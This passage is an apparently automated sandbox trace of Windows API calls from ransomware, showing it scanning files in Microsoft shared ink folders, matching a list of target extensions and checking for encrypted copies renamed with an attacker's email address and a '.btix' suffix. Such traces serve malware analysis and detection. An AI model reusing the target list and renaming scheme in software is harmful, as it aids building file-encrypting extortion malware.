74 [0045.673] lstrlenW (lpString=".1cd") returned 4 [0045.673] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.673] lstrlenW (lpString=".jpg") returned 4 [0045.673] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.673] lstrlenW (lpString=".doc") returned 4 [0045.673] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.673] lstrlenW (lpString=".docx") returned 5 [0045.673] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0045.673] lstrlenW (lpString=".pdf") returned 4 [0045.673] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.673] lstrlenW (lpString=".xls") returned 4 [0045.673] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.673] lstrlenW (lpString=".xlsx") returned 5 [0045.673] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0045.673] lstrlenW (lpString=".ppt") returned 4 [0045.673] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.673] lstrlenW (lpString=".zip") returned 4 [0045.673] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.673] lstrlenW (lpString=".rar") returned 4 [0045.673] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.673] lstrlenW (lpString=".bz2") returned 4 [0045.673] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.673] lstrlenW (lpString=".7z") returned 3 [0045.673] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.673] lstrlenW (lpString=".dbf") returned 4 [0045.673] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.673] lstrlenW (lpString=".1cd") returned 4 [0045.674] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0045.674] lstrlenW (lpString=".jpg") returned 4 [0045.674] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.674] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0045.674] lstrlenW (lpString="auxpad.xml") returned 10 [0045.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0046.182] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=212) returned 1 [0046.182] CloseHandle (hObject=0x37c) returned 1 [0046.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0046.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0046.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0046.183] lstrlenW (lpString=".doc") returned 4 [0046.183] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.183] lstrlenW (lpString=".docx") returned 5 [0046.183] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0046.183] lstrlenW (lpString=".pdf") returned 4 [0046.183] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.183] lstrlenW (lpString=".xls") returned 4 [0046.183] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.183] lstrlenW (lpString=".xlsx") returned 5 [0046.183] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0046.183] lstrlenW (lpString=".ppt") returned 4 [0046.183] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0046.183] lstrlenW (lpString=".zip") returned 4 [0046.183] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.183] lstrlenW (lpString=".rar") returned 4 [0046.183] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.183] lstrlenW (lpString=".bz2") returned 4 [0046.183] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.183] lstrlenW (lpString=".7z") returned 3 [0046.183] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0046.184] lstrlenW (lpString=".dbf") returned 4 [0046.184] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0046.184] lstrlenW (lpString=".1cd") returned 4 [0046.184] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0046.184] lstrlenW (lpString=".jpg") returned 4 [0046.184] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0046.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0046.184] lstrlenW (lpString=".doc") returned 4 [0046.184] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.184] lstrlenW (lpString=".docx") returned 5 [0046.184] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0046.184] lstrlenW (lpString=".pdf") returned 4 [0046.184] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.184] lstrlenW (lpString=".xls") returned 4 [0046.184] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.184] lstrlenW (lpString=".xlsx") returned 5 [0046.184] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0046.184] lstrlenW (lpString=".ppt") returned 4 [0046.184] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0046.184] lstrlenW (lpString=".zip") returned 4 [0046.184] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.184] lstrlenW (lpString=".rar") returned 4 [0046.184] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.184] lstrlenW (lpString=".bz2") returned 4 [0046.184] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.184] lstrlenW (lpString=".7z") returned 3 [0046.184] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0046.185] lstrlenW (lpString=".dbf") returned 4 [0046.185] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0046.185] lstrlenW (lpString=".1cd") returned 4 [0046.185] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0046.185] lstrlenW (lpString=".jpg") returned 4 [0046.185] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.185] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0046.185] lstrlenW (lpString="kor-kor.xml") returned 11 [0046.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0046.192] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=392) returned 1 [0046.192] CloseHandle (hObject=0x37c) returned 1 [0046.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0046.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0046.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0046.193] lstrlenW (lpString=".doc") returned 4 [0046.193] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.193] lstrlenW (lpString=".docx") returned 5 [0046.193] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0046.193] lstrlenW (lpString=".pdf") returned 4 [0046.193] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.193] lstrlenW (lpString=".xls") returned 4 [0046.193] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.193] lstrlenW (lpString=".xlsx") returned 5 [0046.193] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0046.193] lstrlenW (lpString=".ppt") returned 4 [0046.193] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0046.193] lstrlenW (lpString=".zip") returned 4 [0046.193] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.193] lstrlenW (lpString=".rar") returned 4 [0046.193] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.193] lstrlenW (lpString=".bz2") returned 4 [0046.193] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.193] lstrlenW (lpString=".7z") returned 3 [0046.193] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0046.193] lstrlenW (lpString=".dbf") returned 4 [0046.194] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0046.194] lstrlenW (lpString=".1cd") returned 4 [0046.194] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0046.194] lstrlenW (lpString=".jpg") returned 4 [0046.194] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0046.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0046.194] lstrlenW (lpString=".doc") returned 4 [0046.194] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.194] lstrlenW (lpString=".docx") returned 5 [0046.194] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0046.194] lstrlenW (lpString=".pdf") returned 4 [0046.194] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.194] lstrlenW (lpString=".xls") returned 4 [0046.194] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.194] lstrlenW (lpString=".xlsx") returned 5 [0046.194] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0046.194] lstrlenW (lpString=".ppt") returned 4 [0046.194] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0046.194] lstrlenW (lpString=".zip") returned 4 [0046.194] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.194] lstrlenW (lpString=".rar") returned 4 [0046.194] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.194] lstrlenW (lpString=".bz2") returned 4 [0046.194] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.194] lstrlenW (lpString=".7z") returned 3 [0046.194] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0046.195] lstrlenW (lpString=".dbf") returned 4 [0046.195] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0046.195] lstrlenW (lpString=".1cd") returned 4 [0046.195] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0046.195] lstrlenW (lpString=".jpg") returned 4 [0046.195] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.195] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0046.195] lstrlenW (lpString="base_heb.xml") returned 12 [0046.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0046.685] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=738) returned 1 [0046.685] CloseHandle (hObject=0x32c) returned 1 [0046.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0046.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0046.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0046.685] lstrlenW (lpString=".doc") returned 4 [0046.685] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.685] lstrlenW (lpString=".docx") returned 5 [0046.685] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0046.685] lstrlenW (lpString=".pdf") returned 4 [0046.685] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.685] lstrlenW (lpString=".xls") returned 4 [0046.685] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.685] lstrlenW (lpString=".xlsx") returned 5 [0046.685] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0046.685] lstrlenW (lpString=".ppt") returned 4 [0046.685] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0046.685] lstrlenW (lpString=".zip") returned 4 [0046.685] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.686] lstrlenW (lpString=".rar") returned 4 [0046.686] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.686] lstrlenW (lpString=".bz2") returned 4 [0046.686] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.686] lstrlenW (lpString=".7z") returned 3 [0046.686] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0046.686] lstrlenW (lpString=".dbf") returned 4 [0046.686] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0046.686] lstrlenW (lpString=".1cd") returned 4 [0046.686] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0046.686] lstrlenW (lpString=".jpg") returned 4 [0046.686] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0046.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0046.686] lstrlenW (lpString=".doc") returned 4 [0046.686] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.686] lstrlenW (lpString=".docx") returned 5 [0046.686] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0046.686] lstrlenW (lpString=".pdf") returned 4 [0046.686] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.686] lstrlenW (lpString=".xls") returned 4 [0046.686] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.686] lstrlenW (lpString=".xlsx") returned 5 [0046.686] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0046.686] lstrlenW (lpString=".ppt") returned 4 [0046.686] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0046.686] lstrlenW (lpString=".zip") returned 4 [0046.686] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.686] lstrlenW (lpString=".rar") returned 4 [0046.686] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.686] lstrlenW (lpString=".bz2") returned 4 [0046.686] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.687] lstrlenW (lpString=".7z") returned 3 [0046.687] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0046.687] lstrlenW (lpString=".dbf") returned 4 [0046.687] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0046.687] lstrlenW (lpString=".1cd") returned 4 [0046.687] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0046.687] lstrlenW (lpString=".jpg") returned 4 [0046.687] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.687] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0046.687] lstrlenW (lpString="ipsesp.xml") returned 10 [0046.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0046.687] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=3024) returned 1 [0046.687] CloseHandle (hObject=0x32c) returned 1 [0046.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0046.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0046.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0046.690] lstrlenW (lpString=".doc") returned 4 [0046.690] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.690] lstrlenW (lpString=".docx") returned 5 [0046.690] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.690] lstrlenW (lpString=".pdf") returned 4 [0046.690] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.690] lstrlenW (lpString=".xls") returned 4 [0046.690] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.690] lstrlenW (lpString=".xlsx") returned 5 [0046.690] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.690] lstrlenW (lpString=".ppt") returned 4 [0046.690] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0046.690] lstrlenW (lpString=".zip") returned 4 [0046.690] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.691] lstrlenW (lpString=".rar") returned 4 [0046.691] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.691] lstrlenW (lpString=".bz2") returned 4 [0046.691] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.691] lstrlenW (lpString=".7z") returned 3 [0046.691] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0046.691] lstrlenW (lpString=".dbf") returned 4 [0046.691] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0046.691] lstrlenW (lpString=".1cd") returned 4 [0046.691] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0046.691] lstrlenW (lpString=".jpg") returned 4 [0046.691] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0046.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0046.691] lstrlenW (lpString=".doc") returned 4 [0046.691] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.691] lstrlenW (lpString=".docx") returned 5 [0046.691] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.691] lstrlenW (lpString=".pdf") returned 4 [0046.691] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.691] lstrlenW (lpString=".xls") returned 4 [0046.691] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.691] lstrlenW (lpString=".xlsx") returned 5 [0046.691] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.691] lstrlenW (lpString=".ppt") returned 4 [0046.691] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0046.691] lstrlenW (lpString=".zip") returned 4 [0046.691] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.691] lstrlenW (lpString=".rar") returned 4 [0046.692] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.692] lstrlenW (lpString=".bz2") returned 4 [0046.692] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.692] lstrlenW (lpString=".7z") returned 3 [0046.692] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0046.692] lstrlenW (lpString=".dbf") returned 4 [0046.692] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0046.692] lstrlenW (lpString=".1cd") returned 4 [0046.692] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml") returned 61 [0046.692] lstrlenW (lpString=".jpg") returned 4 [0046.692] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.692] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0046.692] lstrlenW (lpString="ipshi.xml") returned 9 [0046.692] CreateFileW 